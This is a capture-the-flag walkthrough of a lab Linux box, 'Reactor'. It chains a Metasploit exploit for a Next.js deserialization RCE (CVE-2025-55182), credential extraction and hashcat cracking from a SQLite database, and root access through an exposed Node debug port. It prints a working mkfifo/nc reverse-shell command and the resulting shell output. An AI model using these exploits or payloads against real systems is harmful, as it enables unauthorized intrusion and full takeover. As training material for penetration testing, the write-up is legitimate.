Introduction #
Reactor is an easy Linux box that leans entirely on a fresh CVE. The front page is a nuclear control panel with nothing to click, so the Next.js build itself becomes the target, a recent React Server Components deserialization bug (react2shell, CVE-2025-55182) hands over an unauthenticated shell as node. From there I pull creds out of a local SQLite database, crack one, and SSH in as a user. Root is a classic misconfig: a root-owned Node process running with --inspect bound to localhost, which I forward out and abuse through the Chrome DevTools Protocol to run code as root.
Recon #
nmap #
Initial nmap finds two open TCP ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.60.80
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIoh32XcLYi0Kdad12SajqVyUVXfkDPaB7zZCDCMIJc+fv8JUJwyQRoqX/91+p6uD75Ggdp4VNzA7WasIkyo/4U=
| 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPws9RyzoCW2cXzOFxeZCCt8rWcNu2umX2kqLLK6T+7H
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Wed, 23 Sep 2026 06:13:10 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Wed, 23 Sep 2026 06:13:10 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
|_ Connection: close
TCP 3000 #
On port 3000 there is a web application running:

It shows a reactor control panel, static website to simulate a nuclear plant.
With nothing to click on and dir search coming empty, the framework itself became the target. Few different angles, mainly the Next.js version pointed straight to a recent CVE, react2shell, an unauthenticated RCE affecting specific Next.js builds.
User #
CVE-2025-55182 #
There is a simple check for CVE-2025-55182 in msfconsole
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > show options
Module options (exploit/multi/http/react2shell_unauth_rce_cve_2025_55182):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni,
socks4, http, socks5, socks5h
RHOSTS 10.129.60.80 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
etasploit.html
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the React App
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_nodejs):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Next.js - Unix Command
View the full module info with the info, or info -d command.
After a setup is done I cna run it:
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
[*] Started reverse TCP handler on 10.10.15.23:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.15.23:4444 -> 10.129.60.80:57366) at 2026-09-23 03:35:33 -0400
And there is a shell:
id
uid=999(node) gid=988(node) groups=988(node)
Database #
Inside I find a reactor.db database with two credentials:
> ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
> sqlite3 reactor.db
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
I attempt to crack them both, getting one of them:
└─$ hashcat -m 0 creds ~/Tools/rockyou.txt
<SNIP>
39d97110eafe2a9a68639812cd271e8e:reactor1
<SNIP>
SSH #
With the discovered credentials I can SSH to the machine and grab the user flag:
└─$ ssh engineer@10.129.60.80
engineer@10.129.60.80's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Wed Sep 23 07:51:12 2026 from 10.10.15.23
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
1733aea1e11ecc2f945aec6768516112
Root #
As always I checked the sudo permissions, but engineer had nothing configured.
Next, I took a look at open ports, and got port which is only available on the localhost:
engineer@reactor:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 *:3000 *:*
Now, to see what is there:
engineer@reactor:~$ ps aux | grep "9229"
root 1388 0.0 1.0 802432 41624 ? Ssl 07:25 0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
engineer 1519 0.0 0.0 6544 2276 pts/0 S+ 07:28 0:00 grep --color=auto 9229
A root-owned Node process running with --inspect enabled, which exposes Chrome’s DevTools Protocol for debugging. That is the way in, Chrome DevTools Protocol lets me evaluate arbitrary JavaScript inside the running process, and this process is running as root.
All I need to do is forward port 9229 to my attack host so I can access the Chrome DevTools and access the console to run malicious javascript payload.
└─$ ssh -L 9229:127.0.0.1:9229 engineer@10.129.60.80

I can run the code in DevTools Console, first to check if it works with:
require('child_process').execSync('id').toString()
and after I get the result and see I am root run the revshell:
require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.23 4445 >/tmp/f').toString()

I catch the shell on the awaiting listener and grab the root flag:
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.60.80] 35432
bash: cannot set terminal process group (1388): Inappropriate ioctl for device
bash: no job control in this shell
root@reactor:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@reactor:/# cat /root/root.txt
cat /root/root.txt
1d29656073713bf04e547d21cfac6e95
root@reactor:/#